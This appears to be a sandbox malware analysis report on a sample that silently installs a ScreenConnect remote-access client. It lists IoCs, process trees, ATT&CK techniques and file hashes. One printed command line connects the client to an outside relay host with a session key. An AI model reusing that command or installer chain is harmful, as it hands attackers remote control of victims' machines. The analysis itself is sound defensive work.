Token: SeCreateGlobalPrivilege	912	msiexec.exe
Token: SeCreateTokenPrivilege	912	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	912	msiexec.exe

Suspicious use of FindShellTrayWindow 11 IoCs

pid	Process
912	msiexec.exe
912	msiexec.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe
2408	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3952 wrote to memory of 912	3952	2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	80
PID 4916 wrote to memory of 2916	4916	msiexec.exe	82
PID 2916 wrote to memory of 3472	2916	MsiExec.exe	83
PID 4916 wrote to memory of 236	4916	msiexec.exe	87
PID 4916 wrote to memory of 2152	4916	msiexec.exe	89
PID 4916 wrote to memory of 576	4916	msiexec.exe	90
PID 5068 wrote to memory of 2408	5068	ScreenConnect.ClientService.exe	92

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-26_39901f774759951f1f95e1989acdba51_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:912

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C440EB6C5E78E3987ECDCA7AD951F77C C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240678906 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3472
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:236
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 87AC93EABAA0183B922B36C9E45F2DD8
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2152
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C5E3BB1AEB37464A8294BDE651A6DF0C E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:576

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:1248

C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=help.overthewire.com.au&p=8041&s=ad755eca-f838-489a-a884-70ee142060bc&k=BgIAAACkAABSU0ExAAgAABEAAADHIkW%2b3HkPDSP8U77odETO2Oa6bry95zbwMkerRF0eoHnNKAHT78QsJ6B%2f%2bZOVRdNRgQC8gdviJB8iW05rbTmlpwsLrK0H7JTi4N06Q%2bplY1t8EQl2h5J%2bMfufP1lbQqdDbMiPPE4T2%2bvG8b8sNhs4C3VvoCE98u6otcwd75fFoqbrbve62s5RH%2fIKMon8mLiGGGAFiFB%2bu9kaGWjGNwT%2bzyF%2fZIcT2W6Y97Tk8Dv4OxH%2bft4BZRxwWC7aFkO80aDkr5Sw2B3pPgEI7pLLwBbthQ2faO%2f2DvGYw1a5MePu4r1LEs%2bl24Lj5MNhS0o6EXzdIMN8pM00PBIW87tYXT%2bY&c=Test&c=Head%20Office&c=Managed%20Services&c=Clients&c=&c=&c=&c="
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5068
- C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe" "RunRole" "955b9773-98ca-42a3-82e8-7d36b53b7754" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e58b0be.rbs

Path C:\Config.Msi\e58b0be.rbs
Size 213KB
SHA256 a2460a84ba01e5cfbbbb1c89ba16a7729fd66d14930385b089ee4402de5b17b7
MD5 4d7c1c26fa73bf30442b115ecfbbd24c
SHA1 c71af6870b2a6f67797f788c36b501c15220f599
SHA512 371423153a74da8f83ee02e6fb7b44a22c5a4f61ded1ac7d8a39cb1b9d2bf7be11625350d3c6479c28b18f045aa099a8e55f500be5927784eaf36a835b525ed6
SSDEEP 3072:QO9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGn:QOuH2aCGw1ST1wQLdqvn
TLSH
T1E8248C227490907EE7F91A32D93E9671BE7DF6240760C59EC3888C1E9D604C06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.Override.en-US.resources
Size 512B
SHA256 dc676d7ca90452302e19ac1122a6f98c4feb19acdfb5c8f5d6fdbbab6f43bbfa
MD5 d2cf25d1de608dff6a52a22ab73e9819
SHA1 ef878664a1648dd80afcb3bd7bcc9ec1d45c8806
SHA512 4d775fe3b83a87327c7244c4cda60221851dbd3fef892ec3649c21503932222c02d4dcb4d15f58fa05a86e0ab02c5925bda2e667860fdd531773d248438f70de
TLSH
T182F07D2A639C3235D0E21BBF249630C5163FF91FC338906D68A8511C4BB260FDF82B22
MD5 SHA1 SHA512 TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.en-US.resources
Size 64KB
SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
MD5 92232708774febf9a4a464bbeda36215
SHA1 521d4e630f5e00977bbca7cd17dd0d22dbe1ca9e
SHA512 59442cbc57604f0dd170bb4f86f0e2b6c96408daf67250e6f40e00d034033b6871502cd83df0267f4628c3a035f191d56f26bf1927e691b5330524eb810852f2
SSDEEP 1536:5fkiK2FoQ67wwLFSj7Be3sZvU/7UFN+9nwLLChTKN1ljpneMarA:5fkiK2FoQ6jFSj7Be3sZvU/7UFN+9nwS
TLSH
T1A8532E1277FD0A58F5F36F35BE7A94619937BC5A2E25C06E1028815E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\Client.resources
Size 6KB
SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
MD5 1e863134f29bcabe1ee571c91ac4fbe6
SHA1 57cc5966fcae49019da5f8f507c840cedfc103f4
SHA512 7e2640c4ddb8719230de0ddb0d18f9a4b1499a037247f12b142b1c16a2a989390abcb5ac7816a63dbce2d43c08510cec7cfc87cd24458bc2fa919c396b36d4f9
SSDEEP 192:rpDZHfbkqYvZJG293IIs1Z4EO/nM3ZWYijpo2YG:rRZjkqYxJ3JI/sMJ/ijp/p
TLSH
T1D8D13BC49BFEAC3CF05E51BE3A7692990275FF113AA3C3582460106A7F228856C56737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Client.dll
Size 399KB
SHA256 c24f3f38cbad5591ca72bd3688b3bcc67b311143e3418905752a88887c649c12
MD5 73f5f4033295f0cb4fe0347f677f7ba6
SHA1 c1fe83c93d7c3ed97a8405a2c75317dd4c80eead
SHA512 5e68abf0345490829f3e43174a72d1e043a89c94d07adf5a26e367aaa45ae57ec0d51e7a8ef3c2f116ca153eb0ae1952ce922f4fd980d8fa7a247293a47b61e0
SSDEEP 6144:oMq4l+PvJNOZvD8ETEavHy+vd7JPYIYyqQni65/PGM:/5+25DHTEavSW7OQni3M
TLSH
T13694BF86B3A44C6DFB6F0A77F45041299E73AC456552F26D4E04B8F90AB3BD28740BE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.dll
Size 78KB
SHA256 881377643cc610e41a458b2797ac8ca4f018d3f39a1effd40b521ebb52c5e7af
MD5 4ec378ab38ad1512899de74ed30da605
SHA1 06324f0f48c51d97fca0222d3ab2a9f1a84561b9
SHA512 1dd6e2967f44dcc5354abf5c12ace9204df1b6dc6072dd901301677861cd48e62cfb543647059d0a2c698ac6a01cf73d52c53c37e28afe0fd78fb29dfa2ecd7f
SSDEEP 1536:z7xQmiDHn5f2yoI4vn3R0asV7k/QQV3lTwmkbP5Ck7l:z7xQmKH5eygf3R0T0QQVFwzCkJ
TLSH
T118734C81A3AC5E26C9DF4F387465B0450F709A02D4A3FBDD9D8EA4EA1B563C12E043DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 ecd5ed16975d556d1d17bc980f248f8a5262bed11df9d9cf999efd9c273c11df
MD5 fcb58cddda40825616c70c93b312a79a
SHA1 94acd6b46cce2a0b84cc5efad3e661eeaa58a612
SHA512 6f49c9bcb3e0fd81516996b2dfa805e373577d33a5313bb5df209d2ff845e68dc569297b10408d15eb506790f1b588c96ed030efb7ea3a57ec7c5b010a3d4748
SSDEEP 1536:gg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgcrU0HMX7dFo:JhbNDxZGXfdHrX7rAc6myJkgcrU0He7o
TLSH
T1C6935A13B5C28872D573093158E0DAB09A7FF9615E21DEAB3788022E4F741C1AE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Core.dll
Size 553KB
SHA256 5989cf8b316fa8526b48e53e3835c61eb5cc5d2b0291994991ddfc937198d5b0
MD5 e52649b9a13b5490f05f8f489cd455d0
SHA1 1662f6394366ca7c4c5c072ea0ce134474cc571d
SHA512 8a32f98a912bea8d6191e2f9a7261dda7fb57e0c7d9fb645b88ad328c37cff8b42d00907f2a903b5f9e489ab4db23bc1e72fef99c069848fa563196f88f4132d
SSDEEP 12288:L+IY2aqte5exGY7FwVzP/DVzeCXV8VNNveAppEtVbyXX/fvs3:50QdxKAg+/fU3
TLSH
T18EC46C5233D88B36C5AF0B3AE860D6151B71E904B01AE75B29DEE4E91E837455E0C3FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 cea1d85967d2c456fccecae3a70ff2adfe4c113aacf9d18c35906c2ed24ca9b4
MD5 cdc55f204dd2d7e2240d5b785250e68d
SHA1 19e1234a94f0445e8fdb9ae0f75554292db48c1c
SHA512 8db2842b8ecb7508604da882632a98580f849a266431f417d740acfdac4f0eb19bec6ee80b4f99af3152feab49f952dfa29f00ce0eb33e25ddbf6f53b3a5fcdd
SSDEEP 24576:15psFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTp:bpsJkGYYpT0+TFiH7efPk
TLSH
T1D085AD41E2C365F5D46B047888BF572AAA743C080325CAFB97D4BE356D33BC09A36796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe
Size 604KB
SHA256 7cd74f5e0fb8b9cdf3275a03ac29f25c88a2adea7afa1a1a0e719a54be9d9e2b
MD5 f4f235efd9873261762b4d940972d756
SHA1 9a329c0692f3159113ebbd5daab0e11647415bce
SHA512 68adf767d82b243e171fafc6675f41fd907d6374393e9067f26ac854cc3af3936c5be2b30257d4bab079d63efb01409f2ec82d43d3a9ccca3524e1e2e803db37
SSDEEP 12288:6yZ/agpEXLJSHIUf8QpnsdW4B1bjQchpiF9zi9mMd:7SXLglsdWS1tpQ2oMd
TLSH
T19CD46BA177FC9A3BC8EF0779B0E1142757B0E845B686E78E4904A4D90EC73916E483E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (f019ead39d18b18b)\system.config
Size 957B
SHA256 8fc14ec3b4a64d54689654b1064e0f54f104cc922734077b727549a4ce656fa1
MD5 ff56d70d181b18afd7b535767710a4b2
SHA1 6d1966bc8a6c68121946007a9b9e94a82cc0d3ab
SHA512 932bb0c97beae6e357d705120f1165a9c2159316631820d4a9610166fac5480018496325e0e2f0dd6875aba66101312fbd355f0965ccabb6a75998e1106b338a
TLSH
T12611485030807E9647B74E12CA214744E5F21A56165510D4B9FF9326EF3054E07F35DE
MD5 SHA1 SHA512 TLSH

Submit Download

698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
Size 471B
SHA256 daae5cd62ac8d9e32baed178e39df1e0827d9a45e31276f65f6b75f122e24b65
MD5 819e2fdd59353a50783d149715a1bd33
SHA1 f8a5cc907344d6e243d0804e3610b6ddcd625653
SHA512 fa7a1adb1004de16f7860ef164f294da35c5f390abdd4ec99c5c1cfda1cd5d6f39a6500d35d28600d0a04c41440539adc7845f5a1e4130ddebd64c652aa57ca8
TLSH
T1DBF0DCAB29B66C9118079C6C3FF198BA22917ACD04CD917E603A1184C7D92E0960F806
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
Size 727B
SHA256 1fe4a4168e8c2c610789633ec7aa43cc58293909d10992dc7f2552e1333cf714
MD5 5fd2d8812c787d1c27db6b5e87f6d45b
SHA1 c655045653f2be1295825fd6fb042b5c570d2da7
SHA512 366ab4f121326a37aaaa71d1c9819e1116cd30b34e829a1a6cf1cff97fc92379bcb2b955bcf0ef3a90fc31ec865da31adcddc047fd6ff4c646b3e99cf1ee111c
TLSH
T11D01940EE89487446033C85886C0DCA630EADF6067E4681FFDBE04CFB40CF09AE86E40
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 727B
SHA256 189f9064ba35be184d1b643aca3371a2bb4e8fd952a2c040d7fa58746ffcb8d1
MD5 7782ba8b180d5fe6a112d4ecea57e715
SHA1 632334cb0ed40e01aa4f635d45be7260ac17c62e
SHA512 033167a647109e2d6251d42344d0b4e03dcb29fd416a4537761a07c8daac43cc5c3a88663e7cfc9297dc6f585c7a95f25df3902804034029b24b8b130637c191
TLSH
T19701D05A2DAC7F817C120F296CCC40E174BE82C102C4279B6125B5C671B86B4DDA2851
MD5 SHA1 SHA512 TLSH

Submit Download

698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\698460A0B6E60F2F602361424D832905_8BB23D43DE574E82F2BEE0DF0EC47EEB
Size 400B
SHA256 43c7ab20dd5753974d883390d5d065a5dafde8ac0ef693718c4229dddbe72273
MD5 3adad9ad3af0b443cdc14980c3ced4b6
SHA1 2f189d51b1d064e33aa08c954915a2843512112b
SHA512 48c1eedce1225ab71711282de884a5b3469d504c43019215dadcef956018208d3bb81b11c110827ed9ae31053be898d2a64d311885a91038a23faa966097c1dc
TLSH
T1DDE0202027FA102EF1A49B7842D690DAAF36F1232C5456BE0985191D6905E009CB3C31
MD5 SHA1 SHA512 TLSH

Submit Download

8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_4AFD4DF0D48AB9E10CDE2554CCF3E3F0
Size 404B
SHA256 0a7496046107c9fcf190f6dc4d4d0d47d748d848fc700230908566aebb89a7c5
MD5 9f2564c69c8ec8a924c24e143a6bd9a1
SHA1 1912bdd50ae138edf1c3b15ab5136389f96982a9
SHA512 17d44194a2a760906a1bacdd63c0e9e218add7c0ceedf554acea8321579b0c4e7679ced9cad64762b544c044b508eee6cae61d8e9d0647c92f9d0d095a270cb7
TLSH
T187E0C67022F4097DF1FAE03C43FA9C222D8AF30305A1C37902902326AB00E404CE2160
MD5 SHA1 SHA512 TLSH

Submit Download

C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141
Size 412B
SHA256 d154a2e837301d4aa4bed1cda7537fb76754a5aaf5bca16efc956319ca315882
MD5 52cf3419a5ce39e38f573d3a18bb6156
SHA1 4840cdc28a882c9ff1b72427863ff92d14a7ed2b
SHA512 078da8f6fb2eb86ed36a955f0d552ec8fc45388efede9d09e3b24a83ea592b51e8ee9e947c9d536ea11add1ba6d1425eb7efffd6cfad17ace212bce90551656e
TLSH
T141E0682816AFA05EF050983085FAF4790D48F3122450D27911804308BB0AF005C119B0
MD5 SHA1 SHA512 TLSH

Submit Download

MSI778C.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp
Size 1.1MB
SHA256 ba2f090929bcaea8ff9c1eed327cf0918fa06c88d64b77c7db8d2db3f92d39ec
MD5 24ce3b4b89cbd2917920d4750f0836f0
SHA1 9f69131e64b8ca593fdd125e13c0dd59f29932c2
SHA512 1141d79ef61a135b1edc77e7990a86a7f39ce18145782343d7ff8f03424ca7432f414ec87a85fc336a2ab1f0a783c09a80fb785566427695361dace62799f42b
SSDEEP 24576:PUUGGAlsK5AKceLVj/pKPuRn9827O7jMepGiUZFw:4GAlZQepj/pXRnSwO7Rp7UZFw
TLSH
T14335230237E0C479E1A37F316E31522106BE79B26672D2DE3B88943D5EB1B91A631377
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.Core.dll
Size 543KB
SHA256 637c730a28969b12f906109ab2d6670cdf230901eb9060f51c103d7ce37e3766
MD5 b6a18c19bb09fb084f0280fa7ac4a27c
SHA1 d0dd121fc155c3a8cb9db32f728c912ef234728c
SHA512 e993560aea4e62e2d3f35f826b53f51e79f66d6a1cccb8b63d0eb71aec25de1fda70893207ab506a581f5f2efc0a61f12565fa38eb538634283af1bebbf1f34f
SSDEEP 12288:C+IY2aqte5exGY7FwVzP/DVzeCXV8VNNveAppEtVbyXX/fv:K0QdxKAg+/f
TLSH
T135C46D5233D88B36C5AF0B3AE860D6151B70E904B01AE75B29DEE4E91E837455E0C7FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 182633507629b0b1fecd2304c0b2f0fbfef79144e0a4f4f60da10150145ffe42
MD5 22e6c20d9c4051ac4e2ec91503d029b4
SHA1 d8f3b60e1cc4b921de4e2d440b7370dc0d3bda62
SHA512 361741ec6fdc853e222c05455c5d4cf0c3cfdc4b55055779fbcc623fcd37c4f966dfc94527cbffc7b237b36dcc8fb71795dad88bde5c215b003ddb15f48286fb
SSDEEP 192:A8/Qp6lCJuV3jQXtyVNamVNG1YZfCrMmbfHJ7kjvLebuLd9NEFbHtxd:d/cBJacXt2NaheUrMmb/FkjvLebuZSxd
TLSH
T13832D70077DC533AE8BE0F799AB362910B71FB64A011DF2E18CCA1569C767449EA07B7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSI778C.tmp-\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 368a99cda6a46e9907d4a1136edcebcc7c4b08905766ea8828839e20d1f12202
MD5 f2e6d57236f712db23b7fc4a59a5a643
SHA1 02cc64d4175e13c6309c3fe47cb60f625c40085a
SHA512 278519649029db4b0eb10e40c99ecf8645ae8648bd813adbec899b20ff70e2cbecc76c205807ed74b4e6b5f4859e422f34cd94353da269fb991f82527699112b
SSDEEP 24576:85psFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTM:GpsJkGYYpT0+TFiH7efP
TLSH
T18E85BD41E2C365F5D46B047888BF572AAA743C080325CAFB97D4BE396D33BC09A36756
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.9.5.9483\f019ead39d18b18b\ScreenConnect.ClientSetup.msi
Size 8.8MB
SHA256 1e691cec0691e4e30583375cb2c9b93ae7e13183f2ce72c0408ce36fa5af7bd6
MD5 e919c7a39debaf0088cbe665d9d4c552
SHA1 e92577e0fb20c5ca6ee946d771a36128c58a088f
SHA512 bba7b128c75b78a7c33ff1f66dd453b5fa649069beaec0b2da7e2496e76a6ded9568605e5fa1e1a37c02134bffd96531e7098dfc77db73bafb937cb78739d76f
SSDEEP 196608:bQyiixtMj2Z1jhlrwUvQyiixtMjhQyiixtMjmQyiixtMjeQyiixtMj:kPnj2rrYPnjKPnjfPnj3Pnj
TLSH
T14696222067E98928F1B71B75EE7A55F14D39BC45EF23C01F4668795E2A30E8099B2333
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIB1D7.tmp

Path C:\Windows\Installer\MSIB1D7.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dznnsche.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\dznnsche.newcfg
Size 573B
SHA256 bae17d2462020f2bf5c0663da8c84a5a0002a5e1e2991a9255c9948829346083
MD5 fb28b93584f2847c1398be17dcf58131
SHA1 a0613daa4a6140fc78db3a5eede300a31d77feea
SHA512 05d54aea6330f64d0134aa1a0fb7ff5fc2a1dabf366030aa5433cbc8c1e4b304fc16f9dc33418c2d3a27b7ee1eac625ac0f46e6829c3f588aa44ff0597a42636
TLSH
T18DF024E930C46E4A07B31E23C5118784EE726BDB155910D834AFA13BAF301EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
SHA256 c3d158b2d338a724b9040f28945537df925f61b2d559ca344910c98e23b36cf7
MD5 7496d580d12832b46bd4057f340eaa4d
SHA1 e7d701ce0ea045c20fa5b5b9ac13629c3a06a908
SHA512 ebc570b667ef5f06c2eb60672a3024afad4c329d3f11e33c95cf4308ef05a79969e8ab9583f5502ab6c31ef1393b6cdfe28c9f82b23530ed135c7302142b8125
TLSH
T152F024E930C4AE8A07B31E23C5128784EE716BDB1559109874AF613BAF311EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
SHA256 290012439909bc60e3a3a5ca7184ad9075562e8b096d9e00fefed7dfe119b070
MD5 82e35ae87eb53d9409b434f85d5a831b
SHA1 6c8e3d895e82d844130305908173caa376e19da6
SHA512 d35fbce916b29308db56db0ab240bd2c0f914db0c88291f73bc9c10f4b1fd82e559d619a358a9f4cc991d935c2daae9d2c975ba36ad522014cd6d497b6991fc6
TLSH
T116F024E930C46E4B07B35E23C5118784EE726BDB0559109834AFA13BAF305EF07A31DA
MD5 SHA1 SHA512 TLSH

Submit Download

user.config

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (f019ead39d18b18b)\user.config
Size 573B
